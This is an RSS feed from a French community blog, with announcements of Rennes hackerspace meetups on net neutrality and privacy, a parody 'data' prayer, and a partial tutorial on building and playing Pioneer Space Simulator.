<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hydraze &#38; Friends blog</title>
	<atom:link href="http://www.hydraze.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hydraze.org</link>
	<description>A community blog about geeks, Linux, security &#38; tips.</description>
	<lastBuildDate>Wed, 09 May 2012 17:08:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Troisième rencontre (étendue) à Rennes sur la neutralité du net, la liberté d&#8217;expression et la vie privée (Whatever’Apéro du 11/12 Mai)</title>
		<link>http://www.hydraze.org/2012/05/troisieme-rencontre-etendue-a-rennes-sur-la-neutralite-du-net-la-liberte-dexpression-et-la-vie-privee-whateverapero-du-1112-mai/</link>
		<comments>http://www.hydraze.org/2012/05/troisieme-rencontre-etendue-a-rennes-sur-la-neutralite-du-net-la-liberte-dexpression-et-la-vie-privee-whateverapero-du-1112-mai/#comments</comments>
		<pubDate>Wed, 09 May 2012 17:08:32 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[breizh-entropy]]></category>
		<category><![CDATA[datalove]]></category>
		<category><![CDATA[hacknowledge]]></category>
		<category><![CDATA[net neutrality]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Rennes]]></category>
		<category><![CDATA[whateverapéro]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=331</guid>
		<description><![CDATA[Bonjour tout le monde , Voici l&#8217;annonce pour le troisième Whatever&#8217;Apéro qui se tiendra le vendredi 11 et le samedi 12 mai 2012 à Rennes. Quarante neuf jours après la deuxième édition (23 et 24 mars 2012) qui avait rassemblé plus d&#8217;une quarantaine de personnes au hackerspace de Rennes autour de différents ateliers et conférences [...]]]></description>
			<content:encoded><![CDATA[<p>Bonjour tout le monde <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ,</p>
<p>Voici l&#8217;annonce pour le troisième Whatever&#8217;Apéro qui se tiendra le vendredi 11 et<br />
le samedi 12 mai 2012 à Rennes.</p>
<p>Quarante neuf jours après la deuxième édition (23 et 24 mars 2012) qui avait rassemblé plus<br />
d&#8217;une quarantaine de personnes au hackerspace de Rennes autour de différents ateliers et conférences<br />
concernant des sujets comme les darknets, les quadricopters, l&#8217;anonymat ou la neutralité<br />
du net et qui avait été l&#8217;occasion pour toutes les personnes présentes de se rencontrer,<br />
d&#8217;échanger et surtout de lancer des projets, il est l&#8217;heure d&#8217;annoncer cette nouvelle<br />
rencontre.</p>
<p>Cette troisième édition du Whatever&#8217;Apéro s&#8217;oriente vers plus d&#8217;ateliers et surtout plus de<br />
débats autour des sujets qui ont lancé cet évènement : la Neutralité des réseaux, le<br />
respect de la vie privée et des autres libertés fondamentales.</p>
<p>Au programme de ces deux journées :<br />
*PROGRAMME*<br />
    * Vendredi 11 mai 2012 :<br />
        − À partir de 19h : apéro-rencontre<br />
        − 19h45 : Key Signing Party (Apportez des languettes de papier avec votre<br />
                identité : Nom − adresse email − fingerprint de la clé GPG )<br />
        − 20h15 : Whatever&#8217;apéro (débat sur la Neutralité du Net, ACTA, la vie privée, …)</p>
<p>    * Samedi 12 mai 2012 :<br />
        − 14h-15h : Conférence de FAI Maison, Fournisseur d&#8217;accès Internet associatif<br />
        Nantais, sur les FAI associatifs et la Fédération FDN<br />
        − 15h-16h : Conférence de Khe0ps sur les opportunités de financement de la<br />
        Commission européenne pour les projets lutant contre la censure et la surveillance<br />
        sur Internet mais également sur les vagues de recrutement qui ont lieux dans<br />
        certaines institutions.<br />
        − Toute la journée : Streaming audio/vidéo via Icecast<br />
        − Toute la journée : Pentesting et découverte réseau : recherche d&#8217;équipements<br />
        filtrants sur un réseau.<br />
        − Toute la journée (sous réserve d&#8217;encre) : Le retour de la Chaos Printer.</p>
<p>*LIEU*<br />
Les ateliers et l&#8217;apéro auront lieu à l&#8217;Élaboratoire, à Rennes, 48 boulevard<br />
Villebois-Mareuil, dans le premier bâtiment à l&#8217;entrée sur la gauche.<br />
Localisation sur Open Street Map : <a href="http://osm.org/go/eri2Tysdq--">http://osm.org/go/eri2Tysdq&#8211;</a></p>
<p>*TRANSPORTS*<br />
Un parking est présent en face du 48 boulevard Villebois-Mareuil<br />
En bus :     − ligne 31 arrêt Chardonnet<br />
             − ligne 11 arrêt Cimetière de l&#8217;Est (à 3 minutes de marche)<br />
             − lignes 4 et 6 arrêt Pont de Strasbourg (à 3 minutes de marche)</p>
<p>Nous tenons à remercier l&#8217;Élaboratoire, hacknowledge, breizh-entropy et toutes<br />
les personnes qui nous aident dans l&#8217;organisation de ces rencontres.</p>
<p>Toute aide pour préparer les locaux est la bienvenue ! (N&#8217;hésitez pas à me contacter en ce<br />
sens).</p>
<p>Pour toute demande d&#8217;information, me contacter dans les commentaires en laissant votre adresse mail<br />
dans le champs approprié.</p>
<p>Hydraze.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2012/05/troisieme-rencontre-etendue-a-rennes-sur-la-neutralite-du-net-la-liberte-dexpression-et-la-vie-privee-whateverapero-du-1112-mai/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Seconde rencontre (étendue) à Rennes sur le respect de la vie privé, la liberté d&#8217;expression et de la neutralité du net (whatever&#8217;apéro du 23/24 Mars)</title>
		<link>http://www.hydraze.org/2012/03/seconde-rencontre-etendue-a-rennes-sur-le-respect-de-la-vie-prive-la-liberte-dexpression-et-de-la-neutralite-du-net-whateverapero-du-2324-mars/</link>
		<comments>http://www.hydraze.org/2012/03/seconde-rencontre-etendue-a-rennes-sur-le-respect-de-la-vie-prive-la-liberte-dexpression-et-de-la-neutralite-du-net-whateverapero-du-2324-mars/#comments</comments>
		<pubDate>Mon, 12 Mar 2012 06:26:08 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[breizh-entropy]]></category>
		<category><![CDATA[hacknowledge]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Rennes]]></category>
		<category><![CDATA[whateverapéro]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=327</guid>
		<description><![CDATA[Annonce de l&#8217;évènement : Bonjour, Suite au succès du premier whatever&#8217;apéro du 10 février dernier, nous avons le plaisir de vous convier à sa seconde édition le vendredi 23 mars suivie d&#8217;une journée d&#8217;ateliers le samedi 24 mars prochain à Rennes. Qu&#8217;est-ce que le whatever&#8217;apéro ou apéro-sans-nom ? C&#8217;est une rencontre s&#8217;inspirant des « quadr&#8217;apéro » [...]]]></description>
			<content:encoded><![CDATA[<p>Annonce de l&#8217;évènement :</p>
<blockquote><p>
Bonjour,</p>
<p>    Suite au succès du premier whatever&#8217;apéro du 10 février dernier, nous avons<br />
    le plaisir de vous convier à sa seconde édition le vendredi 23 mars suivie<br />
    d&#8217;une journée d&#8217;ateliers le samedi 24 mars prochain à Rennes.</p>
<p>    Qu&#8217;est-ce que le whatever&#8217;apéro ou apéro-sans-nom ? C&#8217;est une rencontre<br />
    s&#8217;inspirant des « quadr&#8217;apéro » parisiens de La Quadrature du Net où les<br />
    sujets de discussions tournent autour de la neutralité du net, la liberté<br />
    d&#8217;expression sur Internet, le respect de la vie privée et autres libertés<br />
    fondamentales.</p>
<p>    Au programme de ces deux jours :<br />
    *PROGRAMME*</p>
<p>    * Vendredi 23 mars :<br />
        − À partir de 19h : whatever&#8217;apéro<br />
        − Pendant l&#8217;apéro : Key Signing Party</p>
<p>    * Samedi 24 mars :<br />
        − 10h-12h : atelier/table ronde sur l&#8217;anonymat<br />
        − 13h-15h : atelier VPN (création et utilisation)<br />
        − 15h-17h : atelier sur les DarkNet (dn42, anonet, tor, i2p, Freenet, Tinc)<br />
        − Toute la journée : atelier quadricopter / live stream video<br />
        − Toute la journée : atelier soudure/montage de TV-B-Gone</p>
<p>        À noter qu&#8217;un concert est organisé à l&#8217;Élaboratoire le soir même juste<br />
        à côté de là où auront lieux les ateliers, à prix libre, à partir de<br />
        19h :<br />
        « Organisée par l&#8217;association et Label indé L&#8217;@utre F@ce, &laquo;&nbsp;SoNoriTés<br />
        AnOnYmEs&nbsp;&raquo; continue à s&#8217;inscrire dans une volonté de mieux faire<br />
        connaître des Expressions Musicales pas assez mises en avant, toujours<br />
        avec ce désir d&#8217;ouverture … et de partager avec le public … Djs /<br />
        Concerts / Perf …  »</p>
<p>    *LIEU*<br />
    Les ateliers et l&#8217;apéro auront lieu à l&#8217;Élaboratoire, à Rennes, 48 boulevard<br />
    Villebois-Mareuil, dans le premier bâtiment à l&#8217;entrée sur la gauche.<br />
    <a href="http://osm.org/go/eri2Tysdq--">Lien openstreetmap</a></p>
<p>    *TRANSPORTS*<br />
    Un parking est présent en face du 48 boulevard Villebois-Mareuil<br />
    En bus : − ligne 31 arrêt Chardonnet<br />
             − ligne 11 arrêt Cimetière de l&#8217;Est (à 3 minutes de marche)<br />
             − lignes 4 et 6 arrêt Pont de Strasbourg (à 3 minutes de marche)</p>
<p>    Pour plus d&#8217;informations ou plus de détails sur le programme, vous pouvez<br />
    consulter cette page :<br />
    <a href="http://wiki.breizh-entropy.org/wiki/Whatever_apero_23/24_mars_2012">http://wiki.breizh-entropy.org/wiki/Whatever_apero_23/24_mars_2012</a></p>
<p>    En cas de questions plus précises, n&#8217;hésitez pas à me contacter [en commentaire sur ce blog].</p>
<p>    Enfin, je tiens à remercier l&#8217;Élaboratoire, wanda, axx, hacknowledge,<br />
    breizh-entropy et le kreizenn dafar, sans qui nous n&#8217;aurions pu organiser cet<br />
    évènement.</p>
<p>    À bientôt,<br />
        Hydraze.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2012/03/seconde-rencontre-etendue-a-rennes-sur-le-respect-de-la-vie-prive-la-liberte-dexpression-et-de-la-neutralite-du-net-whateverapero-du-2324-mars/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Data Love − Nos données.</title>
		<link>http://www.hydraze.org/2012/01/data-love-%e2%88%92-nos-donnees/</link>
		<comments>http://www.hydraze.org/2012/01/data-love-%e2%88%92-nos-donnees/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 11:39:17 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Divers]]></category>
		<category><![CDATA[datalove]]></category>
		<category><![CDATA[nos data]]></category>
		<category><![CDATA[Notre père]]></category>
		<category><![CDATA[song]]></category>
		<category><![CDATA[troll]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=320</guid>
		<description><![CDATA[Nos données qui êtes dans le réseau, Que vos bits soient sanctifiés, Que votre disponibilité vienne, Que votre redondance soit faite, Sur le réseau comme sur les disques, Donnez-nous aujourd&#8217;hui nos informations de ce jour, Pardonnez-nous leurs offenses, Comme nous pardonnons aussi à ceux qui ne savaient pas, Et ne nous soumettez pas à la [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>
Nos données qui êtes dans le réseau,<br />
Que vos bits soient sanctifiés,<br />
Que votre disponibilité vienne,<br />
Que votre redondance soit faite,<br />
Sur le réseau comme sur les disques,<br />
Donnez-nous aujourd&#8217;hui nos informations de ce jour,<br />
Pardonnez-nous leurs offenses,<br />
Comme nous pardonnons aussi à ceux qui ne savaient pas,<br />
Et ne nous soumettez pas à la censure,<br />
Mais libérez nous d&#8217;elle.</p>
<p>Datalove.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2012/01/data-love-%e2%88%92-nos-donnees/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pioneer Space Simulator</title>
		<link>http://www.hydraze.org/2011/09/pioneer-space-simulator/</link>
		<comments>http://www.hydraze.org/2011/09/pioneer-space-simulator/#comments</comments>
		<pubDate>Sat, 10 Sep 2011 14:37:39 +0000</pubDate>
		<dc:creator>lidstah</dc:creator>
				<category><![CDATA[Découvertes]]></category>
		<category><![CDATA[jeu]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=298</guid>
		<description><![CDATA[Bon, histoire de changer un peu des tiling WMs et compagnie, et parcequ&#8217;il faut bien se détendre de temps en temps, laissez moi vous présenter pioneer space simulator! Les plus vieux d&#8217;entre vous se rappelleront peut être Elite et surtout ses suites, Frontier: Elite et Frontier: First encounter, développés à l&#8217;époque par David Braben. Frontier, [...]]]></description>
			<content:encoded><![CDATA[<p>Bon, histoire de changer un peu des tiling WMs et compagnie, et parcequ&#8217;il faut bien se détendre de temps en temps, laissez moi vous présenter pioneer space simulator!</p>
<p>Les plus vieux d&#8217;entre vous se rappelleront peut être Elite et surtout ses suites, Frontier: Elite et Frontier: First encounter, développés à l&#8217;époque par David Braben. Frontier, c&#8217;était une galaxie composé de millions de systèmes solaires générés procéduralement, chacun possédant ses caractéristiques (nombre de planètes &#8211; elles aussi générées procéduralement,etc) et respectant les lois de la physique newtonienne (on pouvait se mettre en orbite d&#8217;une planète &laquo;&nbsp;à la main&nbsp;&raquo;, le modèle de vol n&#8217;était pas &laquo;&nbsp;arcade&nbsp;&raquo; mais réaliste (en gros, non, on ne peut pas freiner de 3000 kilomètres par seconde à zéro instantanément &#8211; à moins de s&#8217;écraser comme une bouse sur la première planète venue, et si on se colle à 10 km/s, et qu&#8217;on coupe les moteurs, dans le vide, eh bien on reste à 10km/s (à moins d&#8217;être à proximité du champ gravitationnel d&#8217;un corps céleste).</p>
<p>Dans Frontier, on pouvait donc visiter un nombre important de systèmes solaires, se poser sur des planètes terraformées ou sur de simples astéroïdes, se servir de la gravité pour accélerer, faire du commerce, de la piraterie, des missions militaires ou d&#8217;assassinat, du taxi, etc. Un univers entier au bout du clavier!</p>
<p>Eh bien Pioneer, c&#8217;est un jeu qui s&#8217;inspire de Frontier, en version &laquo;&nbsp;actualisée&nbsp;&raquo;: tout est généré procéduralement, de la galaxie aux canyons d&#8217;Io. Et en plus, c&#8217;est &#8216;achement joli <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span id="more-298"></span></p>
<p><strong><span style="text-decoration: underline;">I. Installation de pioneer.</span></strong><br />
Rien de bien difficile en l&#8217;occurrence. Vous aurez besoin de git, normalement disponible sur les dépôts de votre distribution, pour l&#8217;installer sur architecture 64 bits. Les versions linux 32bits, windows (fear!) et Mac OS X sont disponibles sur le site de pioneer:</p>
<p><a href="http://pioneerspacesim.net/">http://pioneerspacesim.net/</a></p>
<p>Cependant, l&#8217;avantage avec git, c&#8217;est de pouvoir compiler directement le source à partir de la branche master, et ainsi de profiter des toutes dernières nouveautés non disponibles dans l&#8217;alpha précédente (en l&#8217;occurence, l&#8217;alpha 13), les développeurs étant très actifs (et pour papoter de temps en temps avec eux sur irc, de vrais fans d&#8217;astronomie, de simulation spatiale et, ce qui ne gâche rien, très sympas!). Bon, ce qui suit est grosso modo une traduction du tuto disponible en anglais sur leur wiki ( <a href="http://pioneerspacesim.net/wiki/index.php?title=Compiling_pioneer">http://pioneerspacesim.net/wiki/index.php?title=Compiling_pioneer</a> ).</p>
<p>Bon, tout d&#8217;abord, cloner le dépôt git:</p>
<blockquote><p>git clone git://github.com/pioneerspacesim/pioneer.git</p></blockquote>
<p>Environ 250Mo, rien de bien méchant, le tout rangé dans un répertoire &laquo;&nbsp;pioneer&nbsp;&raquo; (sans dec&#8217; <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>Il vous faudra les dépendances suivantes:</p>
<blockquote><p>libsigc++-2.0-dev libglut3-dev libglew1.5-dev libsdl1.2-dev libvorbis-dev libsdl-image1.2-dev dh-autoreconf git libfreetype6-dev et bien sûr git et autoconf!</p></blockquote>
<p>(Normalement déjà installées sous Arch, et dispos sur les dépôts de votre distro préférée <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>Par défaut, vous serez sur la branche master, si vous désirez compiler une release &laquo;&nbsp;stable&nbsp;&raquo;, par exemple l&#8217;alpha14 (la dernière en date):</p>
<blockquote><p>cd pioneer</p>
<p>git checkout alpha14</p></blockquote>
<p>La compilation proprement dite:</p>
<blockquote><p>cd pioneer</p>
<p>./bootstrap</p>
<p>./configure</p>
<p>make</p>
<p>Puis un simple:</p>
<p>ln -s ../data ./src/data</p></blockquote>
<p>Puis, il ne reste plus qu&#8217;à lancer pioneer:</p>
<blockquote><p>./src/pioneer</p></blockquote>
<p>Et maintenant, passons &#8211; enfin &#8211; à la partie intéressante: le JEU!</p>
<p><strong><span style="text-decoration: underline;">II- Comment je décolle?</span></strong><br />
Bon, déjà, avant toute chose, au lancement vous aurez un menu assez basique, avec plusieurs positions de départ (La Terre, Système Sol et Epsilon Eridani, le debug point lui… porte bien son nom <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ). Pour commencer, partons donc de la Terre (bin ouais, soyons un peu chauvins quand même <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ).</p>
<p>Vous vous trouverez donc posé sur le spatioport de Brasilia, dans un Eagle MKII flambant neuf que… nous allons revendre directement! Bon, pour vous simplifier la vie, sachez que la combinaison Ctrl-M vous permet d&#8217;augmenter le nombre de crédit dont vous disposez, et comme le jeu est encore en alpha, pas de missions d&#8217;assassinat payées 30.000 crédits, ni de routes commerciales vraiment rentables (mais ça va venir, les missions d&#8217;assassinat sont en test, ainsi que les mission type &laquo;&nbsp;rendez-vous&nbsp;&raquo;). Donc, appuyez une bonne dizaine de fois sur Ctrl-M histoire d&#8217;avoir un ou deux millions de crédits (oui, un vaisseau, ça coûte cher, son équipement aussi, surtout si vous prenez un accélérateur à plasma comme arme principale… Et oui, tricher saylemal, mais pour le moment, on teste un jeu qui n&#8217;est pas encore terminé). Si le décor vous semble vide au début, laissez mouliner un peu le temps que le logiciel génère l&#8217;environnement proche &#8211; vous n&#8217;aurez pas ce problème en descendant de l&#8217;orbite basse d&#8217;une planète jusqu&#8217;à ce joli canyon où vous vous feriez bien un remake de la Tranchée de SW:Episode 4, vu que le logiciel génèrera au fur et à mesure l&#8217;environnement. Mais là, comme on vient juste de lancer le jeu à la surface d&#8217;une planète, il vaut mieux le laisser mouliner un peu. Ici, sur un vieux Core2Duo 2GHz/2Go de RAM de 2008 avec une petite nvidia GT220 1Go, je joue sans problème avec le niveau de détail very high pour les planètes et High pour les villes/spatioports, textures des planètes ON, Fractals Details Very High (ça, c&#8217;est dans la alpha15-dev <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<p>Maintenant, appuyez sur F4 pour afficher le menu du spatioport/station orbitale où vous vous trouvez. Vous allez vous retrouver en face de cet écran (pas très joli, mais bon, c&#8217;est une alpha, le reste est bien plus joli):</p>
<p><a href="http://ompldr.org/vYWFhZg"><img class="aligncenter" src="http://ompldr.org/tYWFhZg" alt="" width="120" height="90" /></a></p>
<p>Plusieurs options:</p>
<ul>
<li>Request Launch: autorisation de décollage!!!</li>
<li>Shipyard: Chantier naval, c&#8217;est là qu&#8217;on va acheter et équiper notre nouveau vaisseau!</li>
<li>Commodities market: la Bourse! c&#8217;est là que vous achèterez votre carburant (Hydrogène pour une propulsion classique, carburant militaire pour une propulsion… militaire), différents produits légaux dans ce système (eh oui, certains systèmes acceptent le trafic d&#8217;esclaves ou de narcotiques, pas d&#8217;autres)</li>
<li>Bulletin Board: c&#8217;est là que vous pouvez récupérer différentes missions, acheter sur le marché noir, ou donner des thunes à des œuvres de &laquo;&nbsp;charité&nbsp;&raquo; (dont l&#8217;utilité est nulle pour le moment, mais qui devraient avoir leur importance dans le scénario du jeu par la suite)</li>
<li>Contact local police: pour payer vos amendes pour, par exemple, piraterie et meurtre, délit de fuite, utilisation prohibée d&#8217;une arme à proximité d&#8217;une station orbitale, largage de produits radioactifs dans l&#8217;atmosphère d&#8217;une planète peuplée, etc… Ah oui, une propulsion militaire transforme le carburant militaire en produits radioactifs, pensez donc à vider votre soute de ces saloperies à l&#8217;entrée dans un nouveau système…</li>
</ul>
<p>Bon, normalement, avec le tip Ctrl+M vous devez avoir suffisamment de thunes pour vous payer un vaisseau potable. Direction &laquo;&nbsp;Shipyard&nbsp;&raquo; donc, puis &laquo;&nbsp;New &amp; Reconditionned ships&nbsp;&raquo;. Je vous conseille de choisir un vaisseau du style Cobra MKIII, ASP Explorer, Viper Defence Craft, Constrictor &#8211; enfin bref, quelque chose entre 55 et 120 tonnes de soute. Par exemple ici, un bon vieux Cobra MKIII.</p>
<p>Une fois votre nouveau joujou acheté… Eh bien, mis à part une propulsion classique, vous êtes à poil (même pas de bouclier atmosphérique! Désintégration (lente) assurée à l&#8217;approche d&#8217;une planète pourvue d&#8217;une atmosphère!). Pas de lézard, direction &laquo;&nbsp;Ship Equipment&nbsp;&raquo; dans le menu. Ici, j&#8217;équipe mon bon vieux Cobra MKIII comme suit:</p>
<ul>
<li>Atmospheric Shielding: bouclier atmosphérique &#8211; j&#8217;ai pas envie de finir en brochette!</li>
<li>Scanner: permet de visualiser l&#8217;environnement proche (&lt;1000 km si je ne me trompe): vaisseaux, stations spatiales…</li>
<li>Advanced ECM System ou ECM System: pas vraiment utile pour le moment, mais bon, si jamais la police vous canarde avec des missiles navals, vous serez heureux de posséder un système de contremesure!</li>
<li>Un seul Shield Generator: ça peut toujours servir &#8211; dans un vaisseau plus gros, genre &gt;1000 tonnes, j&#8217;en collerai une quinzaine &#8211; même plus besoin de tirer sur les pirates, suffit de leur rentrer dans le lard!</li>
<li>Autopilot: lui, vous allez en avoir besoin! l&#8217;espace c&#8217;est GRAND! les distances sont énormes, et une planète, c&#8217;est PETIT!</li>
<li>Radar Mapper.</li>
<li>Hypercloud Analyzer: l&#8217;outil préféré de l&#8217;assassin. Permet de locker le nuage hyperspatial d&#8217;un vaisseau en fuite pour connaître sa destination. Et si vous avez une meilleure propulsion que lui, vous arriverez AVANT lui dans le système où il s&#8217;enfuit.</li>
<li>Personnellement, je revends toujours ma propulsion hyperdrive standard pour la remplacer par la propulsion militaire de classe supérieure: dans le cas du Cobra MKIII, une propulsion militaire Classe 4 me donne un rayon d&#8217;action de 30 années lumières environ, consomme moins et surtout est plus rapide pour 10 tonnes de plus que la propulsion hyperspatiale standard de classe 3: tout bénef pour un assassin ou un militaire!</li>
<li>un laser 2MW à l&#8217;avant, un laser 1MW à l&#8217;arrière: suffisant pour le moment, mais à remplacer par un laser 4MW si la profession de tueur à gages vous botte (mais bon, pour le moment, pas de missions d&#8217;assassinat)</li>
</ul>
<p>Et voilà un bon petit vaisseau parfait pour faire de l&#8217;exploration sans prendre trop de risques. Maintenant, on décolle!!</p>
<p>Toujours dans le menu du spatioport, sélectionnez &laquo;&nbsp;Request Launch&nbsp;&raquo;, puis, directement après, appuyez sur F5 pour passer en mode &laquo;&nbsp;set speed&nbsp;&raquo;, et F6 pour rentrer votre train d&#8217;atterrissage (pensez à le sortir à chaque atterrissage, et à le rentrer à chaque décollage…).</p>
<p>Normalement, vous devriez voler à environ 50 mètres par seconde en ligne droite, parrallèle au sol, à une 100aine de mètres d&#8217;altitude.</p>
<p>Pour augmenter votre vitesse désirée, appuyez sur la touche Entrée, pour diminuer la vitesse désirée, touche shift de droite. Calez vous à 300 mètres par seconde. Vous verrez que votre vaisseau accélèrera jusqu&#8217;à ce que la vitesse atteigne 300 m/s. Pour contrôler l&#8217;orientation de votre vaisseau, deux possibilités:</p>
<ul>
<li>clic droit de la souris maintenu, puis bouger la souris.</li>
<li>les touches azeqsd (pensez à les configurer dans les options (touches Esc): A et E gère le pitch roll (vous tournez sur votre axe), z et s gère l&#8217;orientation &laquo;&nbsp;haut/bas&nbsp;&raquo; et q et d &laquo;&nbsp;gauche/droite&nbsp;&raquo;</li>
</ul>
<p>Allez, on est presque prêts à faire notre premier voyage intra système vers, disons, Mars. Pour celà, relevez le nez de votre appareil, et accélérez à disons… 5 km/s. Maintenant, nous allons accélérer le temps, grâce aux icônes en bas à gauche (||, &gt;, &gt;&gt;,…, &gt;&gt;&gt;&gt;&gt;). Cliquez sur &laquo;&nbsp;&gt;&gt;&nbsp;&raquo; pour multiplier le temps par environ 10, appuyez sur F1 pour cycler les différentes vues disponibles et voir cette bonne vieille Terre s&#8217;éloigner…</p>
<p>Pour sélectionner Mars, rien de plus simple, cliquez dessus (son nom doit apparaître, si ce n&#8217;est pas le cas, appuyez sur F8). Puis appuyez sur F4, vous devriez obtenir quelque chose de ce style:</p>
<p><a href="http://ompldr.org/vYWFiNg"><img class="aligncenter" src="http://ompldr.org/tYWFiNg" alt="" width="119" height="90" /></a></p>
<p>Et là, merci l&#8217;autopilote, à gauche, il nous propose d&#8217;entrer sur plusieurs orbites autour de Mars, et à droite, nous avons la liste des spatioports de ce système solaire. Rien ne vous empêche d&#8217;aller vous coller en orbite de Mars à la main (c&#8217;est d&#8217;ailleurs un bon entraînement!), mais ce serait un peu long à expliquer! cliquez sur &laquo;&nbsp;Enter Low Orbit around Mars&nbsp;&raquo;, l&#8217;autopilote s&#8217;occupera de tout pour vous! Accélerez le temps à fond, laissez mouliner jusqu&#8217;à l&#8217;arrêt des moteurs: vous êtes en orbite martienne (Eh oui, Mars a été terraformée pour l&#8217;occasion!).</p>
<p><a href="http://ompldr.org/vYWFiYQ"><img class="aligncenter" src="http://ompldr.org/tYWFiYQ" alt="" width="119" height="90" /></a></p>
<p>C&#8217;est beau, hein? Comme vous êtes en contrôle manuel, et dans le vide, tant que vous ne touchez à rien, vous êtes en orbite basse, à environ 3km/s. Augmentez la vitesse du temps pour voir le moteur physique à l&#8217;œuvre: et oui, vous tournez autour de la planète! n&#8217;hésitez pas à utiliser zqsd pour orienter le vaisseau et profiter du panorama, parceque la prochaine étape va être de se POSER sur Mars (enfin sur un spatioport martien). Comme il est si bien dit dans le Guide Galactique (le bouquin, pas le pseudo film, hein!): PAS DE PANIQUE! Je vais vous expliquer la méthode &laquo;&nbsp;douce&nbsp;&raquo; ou du moins, la plus sûre à mes yeux, pour atterrir en douceur &#8211; il y en à d&#8217;autres limite suicidaires, mais ça, je vous laisserai les découvrir! -. On va d&#8217;abord laisser tourner un peu le vaisseau autour de la planète pour repérer le spatioport qui nous intéresse, le locker, puis tranquillement rentrer dans l&#8217;atmosphère et décélérer en douceur.</p>
<p>Dans mon cas, j&#8217;ai choisi le spatioport d&#8217;Olympus Mons. Laissez tourner le vaisseau en orbite jusqu&#8217;à ce que vous soyez à environ 2000km de votre objectif. Orientez vous vers le spatioport, puis appuyez sur F5 pour repasser en mode &laquo;&nbsp;Set Speed&nbsp;&raquo;. Comme vous êtes déjà à 3km/s autour de Mars, les moteurs se contenteront de vous recaler à cette vitesse dans la bonne direction. Accélérez le temps, tout en vous rapprochant d&#8217;Olympus Mons (ou de tout autre spatioport que vous aurez choisi). Lorsque vous êtes à environ 200km d&#8217;altitude, diminuez votre vitesse aux alentours de 2km/s (touche shift droite!). Notez que votre vaisseau se comporte comme une brique volante: il lui faut du temps pour décélérer, il est donc très important d&#8217;<strong>anticiper!!!</strong> Gardez le cap, réduisez votre vitesse progressivement pour être aux alentours de 200m/s à une dizaine de kilomètres de votre objectif. Repassez en &laquo;&nbsp;temps normal&nbsp;&raquo;!! C&#8217;est le moment de contacter la tour de contrôle pour leur demander l&#8217;autorisation d&#8217;atterrir: appuyez sur F4:</p>
<p><a href="http://ompldr.org/vYWFidw"><img class="aligncenter" src="http://ompldr.org/tYWFidw" alt="" width="119" height="90" /></a></p>
<p>Sélectionnez &laquo;&nbsp;Request Docking Clearance&nbsp;&raquo;. La tour de contrôle vous indiquera sur quelle &laquo;&nbsp;piste&nbsp;&raquo; vous poser (par exemple, &laquo;&nbsp;Dock 1&#8243;. Continuez votre approche en douceur, pour vous positionner au-dessus du dock, <strong>sortez votre train d&#8217;atterrissage!</strong>, et positionnez vous à l&#8217;horizontale à une cinquantaine de mètres au dessus du dock, à une vitesse de… 0 m/s! Appuyez sur F5 pour couper les moteurs, puis laissez tranquillement la gravité faire son job de… gravitation. Et voilà! Notez que l&#8217;autopilote peut s&#8217;en occuper tout seul comme un grand… mais bon, autant pour une station spatiale je lui fais confiance, autant quand j&#8217;ai une boule de 2000km de rayon en dessous de moi, je préfère prendre les choses en main tout seul comme un grand!</p>
<p>Allez, prochaine étape, hyperespaaaace!</p>
<p><strong><span style="text-decoration: underline;">III. Vers l&#8217;infini et au delà.</span></strong><br />
Dans ce dernier chapître, relativement court,  je vais vous montrer comment voyager dans la galaxie. Une fois posé, appuyez sur F2. La carte galactique devrait apparaître:</p>
<p><a href="http://ompldr.org/vYWFjNQ"><img class="aligncenter" src="http://ompldr.org/tYWFjNQ" alt="" width="119" height="90" /></a></p>
